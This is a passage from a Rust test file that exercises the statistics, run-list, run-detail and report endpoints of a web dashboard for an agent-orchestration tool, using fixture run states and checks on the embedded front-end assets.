11068 reflection: Reflection::Absent,
11069 },
11070 ],
11071 synthesis: Some("blended brief".to_owned()),
11072 });
11073 let dir = f.runs().join(&state.id);
11074 std::fs::create_dir_all(&dir).expect("run dir");
11075 std::fs::write(
11076 dir.join("run.json"),
11077 serde_json::to_string_pretty(&state).expect("serialize run"),
11078 )
11079 .expect("write run.json");
11080
11081 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11082 let alpha = advisors
11083 .as_array()
11084 .expect("an array")
11085 .iter()
11086 .find(|a| a["agent"] == "alpha")
11087 .expect("alpha row");
11088 assert_eq!(alpha["seated"], 2);
11089 assert_eq!(alpha["proposed"], 1);
11090 assert_eq!(alpha["absent"], 1);
11091 assert_eq!(alpha["strong"], 1);
11092 assert_eq!(alpha["faint"], 0);
11093 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11094 }
11095
11096 #[tokio::test]
11097 async fn stats_release_bumps_split_clean_from_attention() {
11098 use crate::run::ReleaseBump;
11099
11100 let f = Fixture::start().await;
11101
11102 let mut clean = RunState::new(
11103 PathBuf::from("/repo/magi"),
11104 "main".to_owned(),
11105 "0123456789abcdef".to_owned(),
11106 "task".to_owned(),
11107 Config::default(),
11108 );
11109 clean.id = "20260902-140501-a".to_owned();
11110 clean.status = RunStatus::Merged;
11111 clean.release_bump = Some(ReleaseBump {
11112 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11113 version: Some("1.0.0".to_owned()),
11114 automerge_enabled: true,
11115 merged_directly: false,
11116 local: false,
11117 release: None,
11118 problem: None,
11119 action_required: None,
11120 });
11121
11122 let mut blocked = RunState::new(
11123 PathBuf::from("/repo/magi"),
11124 "main".to_owned(),
11125 "0123456789abcdef".to_owned(),
11126 "task".to_owned(),
11127 Config::default(),
11128 );
11129 blocked.id = "20260902-140502-b".to_owned();
11130 blocked.status = RunStatus::Merged;
11131 blocked.release_bump = Some(ReleaseBump {
11132 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11133 version: Some("1.0.1".to_owned()),
11134 automerge_enabled: false,
11135 merged_directly: false,
11136 local: false,
11137 release: None,
11138 problem: Some("checks red".to_owned()),
11139 action_required: Some("look at the PR".to_owned()),
11140 });
11141
11142 for state in [&clean, &blocked] {
11143 let dir = f.runs().join(&state.id);
11144 std::fs::create_dir_all(&dir).expect("run dir");
11145 std::fs::write(
11146 dir.join("run.json"),
11147 serde_json::to_string_pretty(state).expect("serialize run"),
11148 )
11149 .expect("write run.json");
11150 }
11151
11152 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11153 assert_eq!(bumps["merged"], 2);
11154 assert_eq!(bumps["recorded"], 2);
11155 assert_eq!(bumps["pr_opened"], 2);
11156 assert_eq!(bumps["automerge_enabled"], 1);
11157 assert_eq!(bumps["needs_attention"], 1);
11158 assert_eq!(bumps["clean"], 1);
11159 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11160 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11161 }
11162
11163 #[tokio::test]
11164 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11165 let f = Fixture::start().await;
11166 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11167
11168 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11169 assert_eq!(bumps["merged"], 1);
11170 assert_eq!(bumps["recorded"], 0);
11171 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11174 assert_eq!(bumps["automerge_rate"], Value::Null);
11177 assert_eq!(bumps["attention_rate"], Value::Null);
11178 }
11179
11180 #[tokio::test]
11181 async fn stats_queue_counts_come_from_the_live_queue() {
11182 let f = Fixture::start().await;
11183 let q = f.queue();
11184 let mut queued = Task::new(
11185 "queued task".to_owned(),
11186 "do it".to_owned(),
11187 PathBuf::from("/repo"),
11188 Source::Human,
11189 );
11190 q.put(&mut queued).expect("put queued");
11191 let mut held = Task::new(
11192 "held task".to_owned(),
11193 "do it later".to_owned(),
11194 PathBuf::from("/repo"),
11195 Source::Human,
11196 );
11197 held.hold_machine(Some("out of attempts".to_owned()));
11198 q.put(&mut held).expect("put held");
11199
11200 let queue = f.get("/api/stats").await.json()["queue"].clone();
11201 assert_eq!(queue["queued"], 1);
11202 assert_eq!(queue["held"], 1);
11203 assert_eq!(queue["running"], 0);
11204 assert_eq!(queue["done"], 0);
11205 assert_eq!(queue["failed"], 0);
11206 assert_eq!(queue["blocked"], 0);
11207 }
11208
11209 #[tokio::test]
11210 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11211 let f = Fixture::start().await;
11212 let stats = f.get("/api/stats").await;
11213 assert_eq!(stats.status, 200);
11214 assert_eq!(stats.json()["totals"]["runs"], 0);
11215 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11216 assert_eq!(stats.json()["runs_unreadable"], 0);
11217 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11218 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11219 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11220 assert_eq!(stats.json()["repo"], Value::Null);
11221 }
11222
11223 #[tokio::test]
11224 async fn stats_lists_every_repository_with_runs_recorded() {
11225 let f = Fixture::start().await;
11226 write_run_repo(
11227 &f.runs(),
11228 "20260902-140501-a",
11229 RunStatus::Merged,
11230 "/repos/a",
11231 );
11232 write_run_repo(
11233 &f.runs(),
11234 "20260902-140502-b",
11235 RunStatus::Merged,
11236 "/repos/a",
11237 );
11238 write_run_repo(
11239 &f.runs(),
11240 "20260902-140503-c",
11241 RunStatus::Blocked,
11242 "/repos/b",
11243 );
11244
11245 let stats = f.get("/api/stats").await;
11246 assert_eq!(stats.status, 200);
11247 assert_eq!(stats.json()["totals"]["runs"], 3);
11249 assert_eq!(stats.json()["repo"], Value::Null);
11250
11251 let repos = stats.json()["repos"].clone();
11252 let repos = repos.as_array().unwrap();
11253 assert_eq!(repos.len(), 2);
11254 assert_eq!(repos[0]["repo"], "/repos/a");
11256 assert_eq!(repos[0]["name"], "a");
11257 assert_eq!(repos[0]["runs"], 2);
11258 assert_eq!(repos[1]["repo"], "/repos/b");
11259 assert_eq!(repos[1]["runs"], 1);
11260 }
11261
11262 #[tokio::test]
11263 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11264 let f = Fixture::start().await;
11265 write_run_repo(
11266 &f.runs(),
11267 "20260902-140501-a",
11268 RunStatus::Merged,
11269 "/repos/a",
11270 );
11271 write_run_repo(
11272 &f.runs(),
11273 "20260902-140502-b",
11274 RunStatus::Blocked,
11275 "/repos/b",
11276 );
11277
11278 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11279 assert_eq!(stats.status, 200);
11280 assert_eq!(stats.json()["totals"]["runs"], 1);
11281 assert_eq!(stats.json()["totals"]["merged"], 1);
11282 assert_eq!(stats.json()["repo"], "/repos/a");
11283 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11286 assert_eq!(stats.json()["runs_unreadable"], 0);
11289 }
11290
11291 #[tokio::test]
11292 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11293 let f = Fixture::start().await;
11294 write_run_repo(
11295 &f.runs(),
11296 "20260902-140501-a",
11297 RunStatus::Merged,
11298 "/repos/a",
11299 );
11300 write_run_repo(
11301 &f.runs(),
11302 "20260902-140502-b",
11303 RunStatus::Merged,
11304 "/repos/b",
11305 );
11306
11307 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11308 let json = f.get(uri).await.json();
11309 let daily = json["daily"].as_array().expect("daily is an array");
11310 assert_eq!(daily.len(), 30);
11311 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11312 let mut sorted = dates.clone();
11313 sorted.sort();
11314 assert_eq!(dates, sorted);
11315 for d in daily {
11316 assert_eq!(
11317 d["merged"].as_u64().unwrap()
11318 + d["ready"].as_u64().unwrap()
11319 + d["other"].as_u64().unwrap(),
11320 d["runs"].as_u64().unwrap()
11321 );
11322 }
11323 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11324 }
11325 }
11326
11327 #[tokio::test]
11328 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11329 let f = Fixture::start().await;
11330 write_run_repo(
11331 &f.runs(),
11332 "20260902-140501-a",
11333 RunStatus::Merged,
11334 "/repos/a",
11335 );
11336
11337 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11338 assert_eq!(stats.status, 404);
11339 }
11340
11341 #[tokio::test]
11342 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11343 let f = Fixture::start().await;
11344 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11345
11346 let summary = f.get("/api/runs").await.json();
11347 let row = &summary[0];
11348 assert_eq!(row["short"], "a1b2");
11349 assert_eq!(row["status"], "ready");
11350 assert_eq!(row["done"], true);
11351 assert_eq!(row["title"], "Add a web UI");
11352 assert_eq!(row["repo_name"], "magi");
11353 assert_eq!(row["judges"], 3);
11354 assert_eq!(row["winner"], Value::Null);
11355 assert_eq!(row["reviews"], 0);
11356
11357 let detail = f.get("/api/runs/a1b2").await;
11360 assert_eq!(detail.status, 200);
11361 assert_eq!(detail.json()["base_branch"], "main");
11362 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11363 }
11364
11365 #[tokio::test]
11373 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11374 let f = Fixture::start().await;
11375
11376 let mut none_run = RunState::new(
11377 PathBuf::from("/repo/magi"),
11378 "main".to_owned(),
11379 "0123456789abcdef".to_owned(),
11380 "Add a web UI".to_owned(),
11381 Config::default(),
11382 );
11383 none_run.id = "20260902-140503-none".to_owned();
11384 none_run.status = RunStatus::Ready;
11385 none_run.merge = Some(crate::run::MergeOutcome {
11386 mode: crate::config::MergeMode::None,
11387 ok: true,
11388 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11389 empty: false,
11390 });
11391 write_state(&f.runs(), &none_run);
11392
11393 let mut pr_run = RunState::new(
11394 PathBuf::from("/repo/magi"),
11395 "main".to_owned(),
11396 "0123456789abcdef".to_owned(),
11397 "Add a web UI".to_owned(),
11398 Config::default(),
11399 );
11400 pr_run.id = "20260902-140504-prcl".to_owned();
11401 pr_run.status = RunStatus::Ready;
11402 pr_run.merge = Some(crate::run::MergeOutcome {
11403 mode: crate::config::MergeMode::Pr,
11404 ok: false,
11405 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11406 empty: false,
11407 });
11408 write_state(&f.runs(), &pr_run);
11409
11410 let summary = f.get("/api/runs").await.json();
11411 let rows: std::collections::HashMap<&str, &Value> = summary
11412 .as_array()
11413 .expect("an array")
11414 .iter()
11415 .map(|r| (r["id"].as_str().expect("an id"), r))
11416 .collect();
11417 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11418 assert_eq!(
11419 rows[none_run.id.as_str()]["unmerged_by_design"],
11420 true,
11421 "a mode-none Ready must be flagged in the list"
11422 );
11423 assert_eq!(
11424 rows[pr_run.id.as_str()]["unmerged_by_design"],
11425 false,
11426 "a Ready reached by a closed pull request is a different case"
11427 );
11428
11429 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11430 assert_eq!(none_detail["status"], "ready");
11431 assert_eq!(none_detail["unmerged_by_design"], true);
11432
11433 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11434 assert_eq!(pr_detail["unmerged_by_design"], false);
11435 }
11436
11437 #[tokio::test]
11442 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11443 let f = Fixture::start().await;
11444 let id = "20260902-140502-bbbb";
11448 let mut state = RunState::new(
11449 PathBuf::from("/repo/magi"),
11450 "main".to_owned(),
11451 "0123456789abcdef".to_owned(),
11452 "Add a web UI".to_owned(),
11453 Config::default(),
11454 );
11455 state.id = id.to_owned();
11456 state.status = RunStatus::Judging;
11457 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11458 let dir = f.runs().join(id);
11459 std::fs::create_dir_all(&dir).expect("run dir");
11460 std::fs::write(
11461 dir.join("run.json"),
11462 serde_json::to_string_pretty(&state).expect("serialize run"),
11463 )
11464 .expect("write run.json");
11465
11466 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11472 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11473 assert_eq!(cold["live"], "unknown", "{cold}");
11474
11475 write_daemon(f.home.path(), Timestamp::now());
11478 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11479 assert_eq!(warm["live"], "live", "{warm}");
11480 }
11481
11482 #[tokio::test]
11485 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11486 let f = Fixture::start().await;
11487 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11488 let mut state = RunState::new(
11489 PathBuf::from("/repo/magi"),
11490 "main".to_owned(),
11491 "0123456789abcdef".to_owned(),
11492 "Add a web UI".to_owned(),
11493 Config::default(),
11494 );
11495 state.id = id.to_owned();
11496 state.origin = origin;
11497 let mut value = serde_json::to_value(&state).expect("serialize run");
11498 if let Some(schema) = schema {
11499 value["schema"] = serde_json::json!(schema);
11500 value.as_object_mut().unwrap().remove("origin");
11501 }
11502 let dir = f.runs().join(id);
11503 std::fs::create_dir_all(&dir).expect("run dir");
11504 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11505 };
11506 write(
11507 "20260930-092817-ec34",
11508 Some(crate::run::Origin::from_agent_env(
11509 Some(("4a7b".to_owned(), "chat".to_owned())),
11510 None,
11511 )),
11512 None,
11513 );
11514 write("20260930-092817-0ld1", None, Some(12));
11515
11516 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11517 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11518 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11519
11520 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11521 assert_eq!(
11522 old["origin_label"], "origin unknown (started before origins were recorded)",
11523 "{old}"
11524 );
11525 assert!(old["origin"].is_null(), "{old}");
11526
11527 let list = f.get("/api/runs").await.json();
11528 let labels: Vec<_> = list
11529 .as_array()
11530 .unwrap()
11531 .iter()
11532 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11533 .collect();
11534 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11535 }
11536
11537 #[tokio::test]
11544 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11545 let f = Fixture::start().await;
11546 let id = "20260922-090000-cccc";
11547 let mut state = RunState::new(
11548 PathBuf::from("/repo/magi"),
11549 "main".to_owned(),
11550 "0123456789abcdef".to_owned(),
11551 "Review only".to_owned(),
11552 Config::default(),
11553 );
11554 state.id = id.to_owned();
11555 state.status = RunStatus::Reviewing;
11556 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11557 state.driver_pid = Some(std::process::id());
11563 state.driver_started_at = Some(
11564 crate::proc::process_started_at(std::process::id())
11565 .expect("this test process's own start time must be queryable"),
11566 );
11567 let dir = f.runs().join(id);
11568 std::fs::create_dir_all(&dir).expect("run dir");
11569 std::fs::write(
11570 dir.join("run.json"),
11571 serde_json::to_string_pretty(&state).expect("serialize run"),
11572 )
11573 .expect("write run.json");
11574
11575 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11576 assert_eq!(detail["live"], "live", "{detail}");
11577 }
11578
11579 #[tokio::test]
11585 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11586 let f = Fixture::start().await;
11587 let id = "20260922-090100-dddd";
11588 let mut state = RunState::new(
11589 PathBuf::from("/repo/magi"),
11590 "main".to_owned(),
11591 "0123456789abcdef".to_owned(),
11592 "Review only".to_owned(),
11593 Config::default(),
11594 );
11595 state.id = id.to_owned();
11596 state.status = RunStatus::Reviewing;
11597 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11598 state.driver_pid = Some(std::process::id());
11603 state.driver_started_at = Some("1".to_owned());
11604 let dir = f.runs().join(id);
11605 std::fs::create_dir_all(&dir).expect("run dir");
11606 std::fs::write(
11607 dir.join("run.json"),
11608 serde_json::to_string_pretty(&state).expect("serialize run"),
11609 )
11610 .expect("write run.json");
11611
11612 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11613 assert_eq!(detail["live"], "dead", "{detail}");
11614 }
11615
11616 #[test]
11620 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11621 let mk = |id: &str, pid: Option<u32>| {
11622 let mut s = RunState::new(
11623 PathBuf::from("/repo/magi"),
11624 "main".to_owned(),
11625 "0123456789abcdef".to_owned(),
11626 "Add a web UI".to_owned(),
11627 Config::default(),
11628 );
11629 s.id = id.to_owned();
11630 s.driver_pid = pid;
11631 s.driver_started_at = Some("1790000000".to_owned());
11632 s
11633 };
11634 let states = vec![
11635 mk("20260902-140502-aaaa", Some(77)),
11636 mk("20260902-140502-bbbb", Some(77)),
11637 mk("20260902-140502-cccc", Some(77)),
11638 mk("20260902-140502-dddd", None),
11639 ];
11640 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11641 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11642 let sup: HashMap<String, String> = [(
11643 "20260902-140502-aaaa".to_owned(),
11644 "20260902-140502-cccc".to_owned(),
11645 )]
11646 .into();
11647
11648 let status_calls = std::cell::Cell::new(0);
11649 let identity_calls = std::cell::Cell::new(0);
11650 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11651 |_| {
11652 status_calls.set(status_calls.get() + 1);
11653 Some(true)
11654 },
11655 |_| {
11656 identity_calls.set(identity_calls.get() + 1);
11657 Some("1790000000".to_owned())
11658 },
11659 ));
11660 let rows = summarize(
11661 states,
11662 &open,
11663 &claimed,
11664 &sup,
11665 |p| probe.borrow_mut().status(p),
11666 |p| probe.borrow_mut().started_at(p),
11667 );
11668
11669 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11670 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11671 assert_eq!(rows.len(), 4);
11672 assert!(!rows[0].waiting && rows[1].waiting);
11673 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11674 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11675 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11676 assert_eq!(rows[1].superseded_by, None);
11677 }
11678
11679 #[test]
11680 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11681 let mut state = RunState::new(
11682 PathBuf::from("/repo/magi"),
11683 "main".to_owned(),
11684 "0123456789abcdef".to_owned(),
11685 "Review only".to_owned(),
11686 Config::default(),
11687 );
11688 state.id = "20260922-090200-dead".to_owned();
11689 state.status = RunStatus::Reviewing;
11690 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11691 .expect("serialize list row");
11692 assert_eq!(row["status"], "reviewing");
11693 assert_eq!(row["live"], "dead", "{row}");
11694 assert!(!row["done"].as_bool().unwrap());
11695 }
11696
11697 #[tokio::test]
11698 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11699 let f = Fixture::start().await;
11700 for id in [
11701 "20260902-140501-aaaa",
11702 "20260902-140502-bbbb",
11703 "20260902-140503-cccc",
11704 ] {
11705 write_run(&f.runs(), id, RunStatus::Merged);
11706 }
11707
11708 let all = f.get("/api/runs").await.json();
11709 let capped = f.get("/api/runs?limit=2").await.json();
11710
11711 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11712 assert_eq!(all.as_array().map(Vec::len), Some(3));
11713 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11714 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11715 }
11716
11717 #[tokio::test]
11718 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11719 let f = Fixture::start().await;
11720 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11721
11722 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11723
11724 assert_eq!(res.status, 200);
11725 assert!(
11726 res.headers
11727 .contains("content-type: text/plain; charset=utf-8"),
11728 "a browser must render it, not download it: {}",
11729 res.headers
11730 );
11731 assert!(
11735 res.body.contains("20260902-140501-a1b2"),
11736 "the report is about the run that was asked for: {}",
11737 res.body
11738 );
11739 }
11740
11741 #[tokio::test]
11742 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11743 crate::run::pin_test_home();
11745 let f = Fixture::start().await;
11746 let id = "20260902-140501-a1b2";
11747 write_run(&f.runs(), id, RunStatus::Stalled);
11748 let path = f.runs().join(id).join("run.json");
11751 let mut v: serde_json::Value =
11752 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11753 v["tally"] = serde_json::json!({
11754 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11755 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11756 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11757 "met_quorum": false, "rankings": 1
11758 });
11759 v["reviews"] = serde_json::json!([{
11760 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11761 "e2e_deferred": true,
11762 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11763 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11764 ]}]
11765 }]);
11766 std::fs::write(&path, v.to_string()).unwrap();
11767 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11768 std::fs::write(
11769 f.runs().join("20260902-140502-dead").join("run.json"),
11770 "{not json",
11771 )
11772 .unwrap();
11773
11774 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11775
11776 assert_eq!(res.status, 200, "{}", res.body);
11777 assert!(res.headers.contains("content-type: application/json"));
11778 let j = res.json();
11779 assert_eq!(j["schema"], 1);
11780 assert_eq!(j["header"]["id"], id);
11781 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11782 let kinds: Vec<&str> = j["sections"]
11783 .as_array()
11784 .unwrap()
11785 .iter()
11786 .map(|s| s["kind"].as_str().unwrap())
11787 .collect();
11788 assert_eq!(kinds, ["candidates", "tally", "review"]);
11789 let tally = &j["sections"][1]["tally"];
11790 assert_eq!(
11791 (tally["decided"].clone(), tally["provisional"].clone()),
11792 (false.into(), true.into())
11793 );
11794 let round = &j["sections"][2]["rounds"][0];
11795 assert_eq!(round["e2e"]["state"], "deferred");
11796 assert_eq!(round["findings"][0]["severity"], "major");
11797 assert_eq!(round["findings"][0]["blocking"], true);
11798 assert_eq!(round["findings"][0]["state"], "open");
11799
11800 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11802
11803 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11805 assert_ne!(bad.status, 200, "{}", bad.body);
11806 assert_eq!(
11807 bad.status,
11808 f.get("/api/runs/20260902-140502-dead/report").await.status
11809 );
11810 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11811 assert_eq!(
11812 f.get("/api/runs/20260902-999999-ffff/report.json")
11813 .await
11814 .status,
11815 404
11816 );
11817 }
11818
11819 #[tokio::test]
11820 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11821 let f = Fixture::start().await;
11822
11823 let html = f.get("/").await;
11824 let css = f.get("/app.css").await;
11825 let js = f.get("/app.js").await;
11826
11827 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11828 assert!(
11829 html.headers
11830 .contains("content-type: text/html; charset=utf-8")
11831 );
11832 assert!(css.headers.contains("content-type: text/css"));
11833 assert!(js.headers.contains("content-type: text/javascript"));
11834 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11835 }
11836
11837 #[test]
11838 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11839 let body = |name: &str| {
11840 let at = APP_JS
11841 .find(name)
11842 .unwrap_or_else(|| panic!("{name} missing"));
11843 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11844 };
11845 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11846 let note = body("function landRoundNote");
11847 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11848 assert!(note.contains("Land round ${round}"));
11849 let land = body("function renderLand");
11850 let note_at = land
11851 .find("landRoundNote(pr)")
11852 .expect("renderLand uses the note");
11853 assert!(
11854 note_at
11855 < land
11856 .find("roundRail(pr)")
11857 .expect("renderLand uses the rail")
11858 );
11859 }
11860
11861 #[test]
11862 fn the_runs_page_redesign_keeps_its_guards() {
11863 let body = |name: &str| {
11864 let at = APP_JS
11865 .find(name)
11866 .unwrap_or_else(|| panic!("{name} missing"));
11867 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11868 };
11869 let land = body("function renderLand");
11871 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11872 assert!(
11873 !land.contains("box.append("),
11874 "renderLand must use append()"
11875 );
11876 assert!(land.contains("append(box, ["));
11877 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11879 assert!(
11880 body("function applyRoute")
11881 .contains("route.name !== state.route.name || route.id !== state.route.id")
11882 );
11883 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11885 assert!(!INDEX_HTML.contains("advise-converge"));
11886 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11887 assert!(APP_JS.contains("provisional"));
11888 for id in [
11889 "run-tab-overview",
11890 "run-tab-timeline",
11891 "run-tab-report",
11892 "run-report",
11893 "runs-scope",
11894 ] {
11895 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11896 }
11897 assert!(!INDEX_HTML.contains("runs-tree"));
11898 assert!(!INDEX_HTML.contains("run-raw-panel"));
11899 assert!(APP_JS.contains("resume"));
11901 assert!(APP_JS.contains("unreadable"));
11903 }
11904
11905 #[test]
11906 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11907 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11908 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11909 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11910 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11911 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11912 assert!(APP_JS.contains("unreadable` : null"));
11914 }
11915
11916 #[test]
11917 fn the_run_detail_payload_says_whether_the_run_is_done() {
11918 for (status, done) in [
11920 (RunStatus::Superseded, true),
11921 (RunStatus::Blocked, true),
11922 (RunStatus::Landing, false),
11923 ] {
11924 let mut state = RunState::new(
11925 std::path::PathBuf::from("/repo"),
11926 "main".to_owned(),
11927 "abc".to_owned(),
11928 "x".to_owned(),
11929 crate::config::Config::default(),
11930 );
11931 state.status = status;
11932 let v = serde_json::to_value(RunDetailView::of(
11933 state,
11934 crate::run::Liveness::Unknown,
11935 None,
11936 None,
11937 None,
11938 ))
11939 .unwrap();
11940 assert_eq!(v["done"], done, "{status:?}");
11941 }
11942 }
11943
11944 fn has_strong(nodes: &[md::Node]) -> bool {
11946 serde_json::to_string(nodes).unwrap().contains("strong")
11947 }
11948
11949 #[test]
11950 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11951 let mut state = RunState::new(
11952 std::path::PathBuf::from("/repo"),
11953 "main".to_owned(),
11954 "abc".to_owned(),
11955 "x".to_owned(),
11956 crate::config::Config::default(),
11957 );
11958 let proposal = |approach: &str| {
11959 serde_json::json!({
11960 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11961 })
11962 };
11963 state.advice = Some(
11964 serde_json::from_value(serde_json::json!({
11965 "records": [
11966 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11967 "proposal": proposal("do **this**")},
11968 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11969 ],
11970 "synthesis": "- one\n- **two**\n\n`code`",
11971 }))
11972 .unwrap(),
11973 );
11974 state.candidates = serde_json::from_value(serde_json::json!([
11975 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11976 "summary": "did **it**"},
11977 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11978 ]))
11979 .unwrap();
11980 state.reviews = serde_json::from_value(serde_json::json!([{
11983 "round": 1, "head": "h",
11984 "reviews": [{
11985 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11986 "findings": [
11987 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11988 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11989 ],
11990 }],
11991 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11992 "fix": {"agent": "a", "notes": "fixed **it**",
11993 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11994 }, {"round": 2, "head": "h2", "reviews": []}]))
11995 .unwrap();
11996
11997 let v = serde_json::to_value(RunDetailView::of(
11998 state,
11999 crate::run::Liveness::Unknown,
12000 None,
12001 None,
12002 None,
12003 ))
12004 .unwrap();
12005
12006 let strong = |p: &str| {
12007 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12008 assert!(n.to_string().contains("strong"), "{p}: {n}");
12009 };
12010 strong("/advice_md/synthesis");
12011 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12012 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12013 strong("/advice_md/approaches/0");
12014 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12015 strong("/candidate_summaries_md/0");
12016 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
